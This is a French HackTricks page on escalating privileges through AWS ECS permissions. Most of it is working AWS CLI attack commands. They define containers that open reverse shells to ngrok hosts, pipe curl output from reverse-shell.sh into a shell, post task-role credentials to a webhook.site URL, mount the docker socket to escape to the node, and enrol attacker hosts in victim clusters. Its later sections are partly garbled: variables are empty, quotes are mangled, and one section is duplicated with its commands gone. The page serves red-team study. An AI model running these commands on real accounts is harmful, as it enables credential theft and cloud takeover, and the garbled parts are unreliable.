AWS - ECS Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

ECS

Plus d’info sur ECS dans:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un attaquant abusant des permissions iam:PassRole, ecs:RegisterTaskDefinition et ecs:RunTask sur ECS peut générer une nouvelle task definition avec un container malveillant qui vole les identifiants metadata et l’exécuter.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impact potentiel : privesc direct vers un autre ECS role.

iam:PassRole,ecs:RunTask

Un attaquant disposant des permissions iam:PassRole et ecs:RunTask peut démarrer une nouvelle ECS task avec des valeurs modifiées pour execution role, task role et le command du conteneur. La commande CLI ecs run-task contient le flag --overrides qui permet de modifier à l’exécution executionRoleArn, taskRoleArn et le command du conteneur sans toucher à la task definition.

Les IAM roles spécifiés pour taskRoleArn et executionRoleArn doivent permettre d’être assumés par ecs-tasks.amazonaws.com dans leur trust policy.

De plus, l’attaquant doit connaître :

• ECS cluster name
• VPC Subnet
• Security group (Si aucun security group n’est spécifié, le security group par défaut sera utilisé)
• Task Definition Name and revision
• Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Dans l’extrait de code ci‑dessus, un attacker ne remplace que la valeur de taskRoleArn. Cependant, l’attacker doit disposer de l’autorisation iam:PassRole sur le taskRoleArn spécifié dans la commande et sur le executionRoleArn spécifié dans la task definition pour que l’attaque puisse avoir lieu.

Si l’IAM role que l’attacker peut passer dispose de privilèges suffisants pour récupérer l’image ECR et démarrer la ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) alors l’attacker peut spécifier le même IAM role pour executionRoleArn et taskRoleArn dans la commande ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impact potentiel : Accès direct (privesc) à n’importe quel task role ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Comme dans l’exemple précédent, un attaquant abusant des permissions iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask dans ECS peut générer une nouvelle task definition avec un conteneur malveillant qui vole les identifiants des métadonnées et l’exécuter.
Cependant, dans ce cas, une container instance pour exécuter la task definition malveillante doit être disponible.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impact potentiel : Direct privesc to any ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Tout comme dans l’exemple précédent, un attaquant abusant des autorisations iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService sur ECS peut générer une nouvelle task definition avec un malicious container qui vole les metadata credentials et l’exécuter en créant un nouveau service avec au moins 1 task en cours d’exécution.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impact potentiel : Privesc direct vers n’importe quel rôle ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService))

En fait, avec seulement ces permissions, il est possible d’utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire avec quelque chose comme :

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Privesc direct vers n’importe quel rôle ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ce scénario est similaire aux précédents mais sans la permission iam:PassRole.
Ceci reste intéressant car si vous pouvez exécuter un container arbitraire, même sans rôle, vous pourriez exécuter un container privilégié pour vous échapper vers le node et voler le rôle IAM EC2 et les rôles des autres containers ECS s’exécutant sur le node.
Vous pourriez même forcer d’autres tâches à s’exécuter à l’intérieur de l’instance EC2 que vous compromettez pour voler leurs identifiants (comme discuté dans la Privesc to node section).

Warning

Cette attaque n’est possible que si le ECS cluster utilise des instances EC2 et pas Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un attaquant disposant des ecs:ExecuteCommand, ecs:DescribeTasks peut exécuter des commandes à l’intérieur d’un conteneur en cours d’exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe car elles sont nécessaires pour exécuter aws ecs execute-command).
Cependant, pour cela, l’instance de conteneur doit exécuter l’ExecuteCommand agent (ce qui n’est pas le cas par défaut).

Par conséquent, l’attaquant pourrait essayer de :

• Essayer d’exécuter une commande dans chaque conteneur en cours d’exécution

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Une fois que vous avez un shell à l’intérieur du conteneur, vous pouvez généralement extract the task role credentials depuis le task credentials endpoint et les réutiliser en dehors du conteneur :

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY

• If he has ecs:RunTask, run a task with aws ecs run-task --enable-execute-command [...]
• If he has ecs:StartTask, run a task with aws ecs start-task --enable-execute-command [...]
• If he has ecs:CreateService, create a service with aws ecs create-service --enable-execute-command [...]
• If he has ecs:UpdateService, update a service with aws ecs update-service --enable-execute-command [...]

You can find examples of those options in previous ECS privesc sections.

Potential Impact: Privesc to a different role attached to containers.

ssm:StartSession

Check in the ssm privesc page how you can abuse this permission to privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Check in the ec2 privesc page how you can abuse these permissions to privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Un attaquant disposant de ces autorisations peut souvent transformer “cluster membership” en un contournement du périmètre de sécurité :

• Enregistrer une instance EC2 contrôlée par l’attaquant dans un cluster ECS victime (devenant une container instance)
• Définir des attributs d’instance de conteneur personnalisés pour satisfaire les contraintes de placement
• Laisser ECS planifier des tâches sur cet hôte
• Voler les identifiants du rôle de tâche (et tous les secrets/données à l’intérieur du conteneur) depuis la tâche s’exécutant sur votre hôte

High-level workflow:

1. Obtenir le document d’identité de l’instance EC2 + signature depuis une instance EC2 que vous contrôlez dans le compte cible (par exemple via SSM/SSH):

curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig

2. Enregistrez-le dans le cluster cible, éventuellement en définissant des attributs pour satisfaire les contraintes de placement:

aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack

3. Confirmer qu’il a rejoint :

aws ecs list-container-instances --cluster "$CLUSTER"

4. Démarrer une task / mettre à jour un service pour que quelque chose s’exécute sur l’instance, puis récupérer les task role creds depuis l’intérieur de la task:

# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Notes:

• L’enregistrement d’une instance de conteneur en utilisant le document/signature d’identité de l’instance implique que vous avez accès à une instance EC2 dans le compte cible (ou que vous l’avez compromise). Pour le cross-account “bring your own EC2”, voir la technique ECS Anywhere sur cette page.
• Les contraintes de placement reposent généralement sur des attributs d’instance de conteneur. Énumérez-les via ecs:DescribeServices, ecs:DescribeTaskDefinition, et ecs:DescribeContainerInstances pour savoir quels attributs vous devez définir.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Note

TODO : Tester ceci

Un attaquant disposant des autorisations ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, et ecs:DescribeTaskSets peut créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set. Cela permet à l’attaquant d’exécuter du code arbitraire au sein du service.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impact potentiel : Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.

Références

• https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu’il contrôle, l’encapsuler dans un ECS Capacity Provider, l’associer au cluster ciblé, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l’attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.

Commandes (us-east-1):

• Prérequis

• Créer Launch Template pour que l’ECS agent rejoigne le cluster cible

• Create Auto Scaling Group

• Créer Capacity Provider à partir de l’ASG

• Associer le Capacity Provider au cluster (optionnellement par défaut)

• Migrer un service vers votre provider

• Vérifier que les tasks sont planifiées sur les instances contrôlées par l’attaquant

• Optionnel : depuis le nœud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.

• Nettoyage

Impact potentiel : Les EC2 nodes contrôlées par l’attaquant reçoivent les tasks de la victime, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider –name  –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED”
aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers  –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK=
CI=
aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text


Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Abuser ECS Anywhere pour enregistrer un hôte contrôlé par l’attaquant comme une EXTERNAL container instance dans un ECS cluster victime et exécuter des tasks sur cet hôte en utilisant des task et execution roles privilégiés. Cela donne un contrôle au niveau OS sur l’endroit où les tasks s’exécutent (votre propre machine) et permet le vol de credentials/données des tasks et des volumes attachés sans toucher aux capacity providers ou ASGs.


Permissions requises (exemple minimal) :


ecs:CreateCluster (optionnel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask


ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation


iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l’instance role ECS Anywhere et les task/execution roles)


logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs)


Impact : Exécuter des containers arbitraires avec le taskRoleArn choisi sur l’hôte de l’attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder aux volumes montés par les tasks ; plus discret que manipuler les capacity providers/ASGs.


Étapes

Créer/identifier le cluster (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere


Créer le rôle ECS Anywhere et l’activation SSM (pour instance on-prem/EXTERNAL)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)


Provisionner l’hôte attaquant et l’enregistrer automatiquement comme EXTERNAL (exemple : small AL2 EC2 as “on‑prem”)


user-data.sh
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```

```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Vérifier que l'EXTERNAL container instance a rejoint
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Créer des task/execution roles, enregistrer une EXTERNAL task definition, et l'exécuter sur l'hôte de l'attaquant
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role
task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”,
“taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”,
“containerDefinitions”: [
{“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”,
“entryPoint”:[“/bin/sh”,“-c”],
“command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”],
“memory”: 128,
“logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}}
}
]
}
JSON
aws logs create-log-group –log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition –cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text)
aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external 
–container-instances $CI
6) À partir d'ici vous contrôlez l'hôte qui exécute les tasks. Vous pouvez lire les task logs (si awslogs) ou exécuter directement des commandes sur l'hôte pour exfiltrer des credentials/données depuis vos tasks.



#### Exemple de commande (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour qu'il utilise ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.

Commands (us-east-1):

- Pré-requis



- Créer un Launch Template pour que l'ECS agent rejoigne le cluster cible



- Créer un Auto Scaling Group



- Créer un Capacity Provider à partir de l'ASG



- Associer le Capacity Provider au cluster (optionnellement comme défaut)



- Migrer un service vers votre provider



- Vérifier que les tasks atterrissent sur les instances de l'attaquant



- Optionnel : Depuis le nœud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.

- Nettoyage



**Impact potentiel :** Les EC2 nodes contrôlées par l'attaquant reçoivent les tasks de la victime, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>